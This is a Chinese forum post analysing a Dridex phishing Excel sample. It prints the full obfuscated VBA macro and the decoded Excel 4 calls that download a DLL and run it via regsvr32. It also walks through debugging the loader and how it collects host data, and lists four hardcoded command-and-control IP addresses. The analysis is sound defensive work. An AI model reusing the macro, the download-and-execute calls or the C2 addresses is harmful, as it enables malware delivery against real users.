自己的这个分析,在公众号上发表过一次,拿过来分享给大家,这个也是Dridex在前些日子的一个变种,还是小白一个!
样本名称 |
36d6caa7639fa761ec5408b1cdc8cad7.xlsm |
样本类型 |
Microsoft Excel 2007+ |
恶意类型 |
Dridex |
SHA256 |
519312A969094294202A2EBE197BB4C563BA506FFFBD45000F0F9CC2923695CE |
流程图:
这个样本主要通过钓鱼的方式,主要伪装成带有伪造电子发票的Excel电子邮件,如果双击附件,Microsoft Office Excel会打开它
查看我们的电子发票需要去打开宏,但是恶意程序可能完全由宏实现,但是更多的情况下,宏用于加载或者下载其他恶意程序,所以对于一个未知的excel文档来讲,启用excel的宏和打开未知的exe文件一样危险,所以大概这个excel含有vba代码
- 我们可以点击All-Open and pay 来执行恶意的VBA代码
- 我们点击事件的按钮,来触发布局事件(Layout)
查看一下VBA代码
发现会弹出警告的消息,VBA被隐藏了,我们尝试用EvilClippy去除隐藏属性,安装相应的组件mono
EvilClippy介绍:EvilClippy的开源工具,EvilClippy是一款专用于创建恶意MS Office测试文档的跨平台安全工具,它可以隐藏VBA宏和VBA代码,并且可以对宏代码进行混淆处理以增加宏分析工具的分析难度。当前版本的EvilClippy支持在Linux、macOS和Windows平台上运行,实现了跨平台特性
解除保护:
1 | EvilClippy.exe - uu macrofile.doc
|
直接去解除保护看一下
直接可以看到相应的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | Sub intuis()
ko = ""
End Sub
Sub printerSave()
Dim s As String
d1 = rs( Int (( 8 - 6 + 1 ) * Rnd + 6 ))
d2 = rs( Int (( 8 - 6 + 1 ) * Rnd + 6 ))
d3 = rs( Int (( 8 - 6 + 1 ) * Rnd + 6 ))
For i = 1112 To 1116
Do
fl = de(Cells(i, 1 ), Int (( 4 - 1 + 1 ) * Rnd + 1 ))
Loop Until Right(fl, 1 ) = ")"
s = fl
ExecuteExcel4Macro (repl( "$" , d3, "X" , GSs, repl( ";" , d1, "'" , d2, s)))
fl = ""
Next
End Sub
Function GSs()
Dim urs As String, f As Integer
g = 720 : gg = 1008
i = Int ((gg - g + 1 ) * Rnd + g)
For j = 1 To 4
If IsEmpty(Cells(i, j)) = 0 Then
urs = Cells(i, j)
f = j
Exit For
End If
Next
GSs = de(urs, f)
End Function
Function de(a As String, b As Integer) As String
Dim ab() As Byte
ab = StrConv(a, vbFromUnicode)
For Each s In ab
de = de & Chr (s + b)
Next
End Function
Function rs(Length As Long ) As Variant
Dim X As Long
For X = 1 To Length
rs = rs & [MID( "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" ,RANDBETWEEN( 1 , 62 ), 1 )]
Next
End Function
Function repl(a1, a2, a3, a4, y As String)
repl = Replace(y, a1, a2): repl = Replace(repl, a3, a4)
End Function
Private Sub formsA_Layout()
printerSave
End Sub
|
可以大概知道A720-A1008有编码的URL列表,不过他把字体设置成了白色的,全选的话可以显示出来,直接变成黑色
直接调试vbs代码
发现解码了,IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(TRUE)),继续下断调试
CALL("Kernel32","CreateDirectoryA","JCJ","C:\;",0)
CALL("Kernel32","CreateDirectoryA","JCJ","C:\;\'",0)
CALL("URLMON","URLDownloadToFileA", "JJCCJJ",0,"X","C:\;\'\$.",0,0)
CALL("Shell32","ShellExecuteA", "JJCCCCJ",0,"Open","regsvr32"," -s C:\;\'\$.",0,0)
整理一下:
1 2 3 4 5 | IF(ISNUMBER(SEARCH( "do" ,GET.WORKSPACE( 1 ))), ,CLOSE(TRUE))
CALL( "Kernel32" , "CreateDirectoryA" , "JCJ" , "C:\;" , 0 )
CALL( "Kernel32" , "CreateDirectoryA" , "JCJ" , "C:\;\'" , 0 )
CALL( "URLMON" , "URLDownloadToFileA" , "JJCCJJ" , 0 , "X" , "C:\;\'\$." , 0 , 0 )
CALL( "Shell32" , "ShellExecuteA" , "JJCCCCJ" , 0 , "Open" , "regsvr32" , " -s C:\;\'\$." , 0 , 0 )
|
在URLDownloadToFileA这边开始下载东西
那么这边的意思就是,它将我们随意的URL下载到本地的文件中去,文件名字随机,我们记录一下这几个网站然后去比较一下下载dll的md5值,测试了三个,发现虽然名字不一样但是他们的dll都是一样的,说明在随机的URL下载的DLL是一样的,只是名字不一样
可以看到变量是我们看到的文件夹,路径 C:\cEACqJVb\D6dpWrT\26bKqTf
最后可以看到使用一个命令 -s regsvr32下载文件,直接去查看一下进程,直接cmd process 看一下
看一下process tree 可以知道这个利用了execl去做为Dridex下载器,去看看regsvr32主要干什么
DllRegisterServer,在windows的注册表中给某个dll的登记,那么DLL(xxx.dll)内部包含一个或多个组件,regsvr32 -s xxx.dll即regsvr32调用xxx.dll中的此函数完成组件的注册,注册是为了能够索引到xxx.dll然后创建组件,所以上面的病毒直接调用了dridex中的一个方法,regsvr32最初调用的函数是DllEntryPoint
我们可以看到那个下载的文件也是一个dll的格式,所以满足了上面的regsvr,我们直接用od附加,去调试一下DLL,查看一下导出函数
直接用OD中的插件loaddll 直接调试也可以,但是这里使用了regsvr32的注册,loadlibrary下断去调试
前置知识:
GetModuleHandle 获取一个应用程序或动态链接库的模块句柄,只有在当前场景中,这个句柄才有效
1 | HMODULE WINAPI GetModuleHandle(_In_opt_LPCTSTR lpModuleName);
|
HMODULE返回值,如果执行成功,则返回指定模块句柄,NULL返回本模块的句柄,0表示失败 (获取错误信息,调用GetLastError),返回的句柄值存放在寄存器eax中
lpModuleName String 参数表,通常是与模块的文件名相同的一个名字,NOEPAD.EXE程序的,模块文件名叫做NOTEPAD,NULL返回调用进程本身的句柄
常用模块映射函数:LoadLibrary
LoadLibrary将指定的模块加载到调用进程的地址空间中,指定的模块可能会导致其他模块被加,对于其他加载选项,使用 LoadLibraryEx函数
LoadLibrary为一个宏定义
1 | HMODULE WINAPI LoadLibrary( _In_ LPCTSTR lpFileName );
|
lpFileName
模块的名称,这可以是库模块(.dll文件)或可执行模块(.exe文件),指定的名称是模块的文件名,与模块定义(.def)文件中的LIBRARY关键字所指定的与库模块本身中存储的名称无关
如果字符串指定完整路径,则该函数仅搜索该模块的路径
如果字符串指定一个没有路径的模块名称或者相对路径,则该函数使用标准搜索策略来查找模块;
如果该功能找不到该模块,则该功能失败
指定路径时,一定要使用反斜杠(\),而不是正斜杠(/)
如果字符串指定了没有路径的模块名称,并且省略了文件扩展名,则函数会将缺省库扩展名.dll附加到模块名称,要防止函数将.dll附加到模块名称,请在模块名称字符串中包含尾随点字符(.)
直接bp LoadLibraryExW 找到我们的那个dll(如果不知道断那个LoadLibrary因为毕竟这个是宏定义的所以可以 ExW ExA A W 都下断,f9 分析他们几个)
参数这里写我们的dll的位置,下断
直接定位到位置后下断,重新运行运行到该断点的位置
直接可以停在这里分析,类似一个解压缩的过程,最后的地址加载到EAX中,进行跳转
执行后,解密提取PE文件到内存之后到可执行内存空间,类似于正常PE的拉伸的一个过程
这边很可疑
正常来说恢复现场应该是pop,这里用了push edx 加上 retn = jmp edx 这里相当于调用的Dridex核心的部分
正常来说我们的dll,必须提供一个导出功能,这里regsvr32调用了GetProcAddress从Dridex中获取了export:DllRegisterServer,主要查找导出函数的地址,几乎所有的恶意操作都在DllRegisterServer中,相当于执行了恶意操作的主函数main
在这个DllRegisterServer函数中,Dridex从我们的机器获取信息,发送到一个服务器,它获取自身电脑的用户名和完整的计算机名,然后,注册表中读取Windows安装时间,将以上值放在一起,加密成MD5,数据长度+计算机名称+ MD5值,他会获取我们计算机注册表中,所有已安装的软件注册表信息
例如经常玩的wegame
用的一些工具wireshark
1 2 3 4 5 6 7 8 9 10 | GetVolumeInformation(
lpRootPathName: PChar; {磁盘驱动器代码字符串}
lpVolumeNameBuffer: PChar; {磁盘驱动器卷标名称}
nVolumeNameSize: DWORD; {磁盘驱动器卷标名称长度}
lpVolumeSerialNumber: PDWORD; {磁盘驱动器卷标序列号}
var lpMaximumComponentLength: DWORD; {系统允许的最大文件名长度}
var lpFileSystemFlags: DWORD; {文件系统标识}
lpFileSystemNameBuffer: PChar; {文件操作系统名称}
nFileSystemNameSize: DWORD {文件操作系统名称长度}
): BOOL ;
|
他会把收集到的信息传送到一个服务器上
四个地址,这几个地址是硬编码写入的
1 2 3 4 | 31 39 39 2E 36 36 2E 39 30 2E 36 33 3A 34 34 33 199.66 . 90.63 : 443
35 31 2E 36 38 2E 32 32 34 2E 32 34 35 3A 34 36 51.68 . 224.245 : 46
38 35 2E 32 31 34 2E 32 36 2E 37 3A 33 33 38 39 85.214 . 26.7 : 3389
31 30 37 2E 31 37 35 2E 38 37 2E 31 35 30 3A 33 38 38 39 107.175 . 87.150 : 3889
|
所以通过向这个四个ip来发送我们计算机内的数据资料
[课程]FART 脱壳王!加量不加价!FART作者讲授!
最后于 2020-9-22 20:51
被L0x1c编辑
,原因: